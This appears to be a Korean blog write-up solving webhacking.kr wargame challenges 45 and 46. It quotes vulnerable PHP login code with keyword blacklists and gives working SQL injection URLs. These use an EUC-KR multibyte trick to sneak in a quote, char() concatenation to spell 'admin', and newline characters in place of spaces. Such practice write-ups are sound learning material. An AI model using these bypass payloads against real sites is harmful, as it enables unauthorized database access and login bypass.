45.
그냥 바로 제출을 눌러보면
http://webhacking.kr/challenge/web/web-22/index.php?id=guest&pw=guest 와 같은 url이 되고
hi guest가 나온다. sqli라고 했으므로 id나 pw둘중에다가 잘 인젝션하면 될것이다.
소스가 있는데 소스를 보면
$pw="?????";
if($_GET[id] && $_GET[pw])
{
$_GET[id]=mb_convert_encoding($_GET[id],'utf-8','euc-kr');
$data=@mysql_fetch_array(mysql_query("select id from members where id='$_GET[id]' and pw=md5('$_GET[pw]')"));
if(eregi("admin",$_GET[id])) exit();
if(eregi("from",$_GET[id])) exit();
if(eregi("union",$_GET[id])) exit();
if(eregi("limit",$_GET[id])) exit();
if(eregi("union",$_GET[pw])) exit();
if(eregi("pw",$_GET[pw])) exit();
if(eregi("=",$_GET[pw])) exit();
if(eregi(">",$_GET[pw])) exit();
if(eregi("<",$_GET[pw])) exit();
if(eregi("from",$_GET[pw])) exit();
if($data)
{
echo("hi $data[0]<br><br>");
if($data[0]=="admin") @solve();
}
if(!$data)
{
echo("Wrong");
}
}
가 있다. '는 매직 쿼터의 영향인지 입력되지 않는다. (guest'%23 등을 입력해봐도 Wrong만 뜸.)
여기서는 처음 보는 mb_convert_encoding($_GET[id],'utf-8','euc-kr');라는게 있는데 이걸 이용해서 '를 인젝션할수있다. 인코딩 취약점인데 http://blog.naver.com/diadld2/30158003480 여기에 설명이 잘 나와 있다. %a1%27 입력시(%27는 싱글쿼터.) %a1%2f%27이 됨.(여기서 %2f는 \이다.) 가 되고 한글 해석시 2바이트씩 해석되므로 %a1%2f따로, %27(')따로 해석되어 '를 삽입하는게 가능하다.
이걸 이용해서 '를 넣고, 위의 필터링을 봐서 안되는 문자열은 되는 문자열로 잘 우회해서 보내면 된다.
http://webhacking.kr/challenge/web/web-22/index.php?id=guestaa%a1%27%20or%20id%20like%20concat(char(97),char(100),char(109),char(105),char(110))%23&pw=rara
?id=guestaa%a1' or id like concat(char(97),char(100),char(109),char(105),char(110))#&pw=rara
이런식으로 들어가게 되면서 통과한다.
46.
$_GET[lv]=str_replace(" ","",$_GET[lv]);
$_GET[lv]=str_replace("/","",$_GET[lv]);
$_GET[lv]=str_replace("*","",$_GET[lv]);
$_GET[lv]=str_replace("%","",$_GET[lv]);
if(eregi("union",$_GET[lv])) exit();
if(eregi("select",$_GET[lv])) exit();
if(eregi("from",$_GET[lv])) exit();
if(eregi("challenge",$_GET[lv])) exit();
if(eregi("0x",$_GET[lv])) exit();
if(eregi("limit",$_GET[lv])) exit();
if(eregi("cash",$_GET[lv])) exit();
$q=@mysql_fetch_array(mysql_query("select id,cash from members where lv=$_GET[lv]"));
if($q && $_GET[lv])
{
echo("$q[0] information<br><br>money : $q[1]");
if($q[0]=="admin") @solve();
일반적인 sql injection... 필터링하는것들 피해서 lv에다가 인젝션을 하면 된다.
?lv=-1%0aor%0aid=concat(char(97),char(100),char(109),char(105),char(110))
별로 설명할게 없다.
'webhacking > sql, sql injection' 카테고리의 다른 글
adm1nkyj님의 워게임. prob2, 8 (0) | 2015.03.25 |
---|---|
sql injection 문서. (0) | 2015.03.22 |
webhacking.kr 40 (0) | 2015.03.13 |
webhacking.kr 35, 39 (0) | 2015.03.13 |
adm1nkyj님 워게임 prob 3 (0) | 2015.03.03 |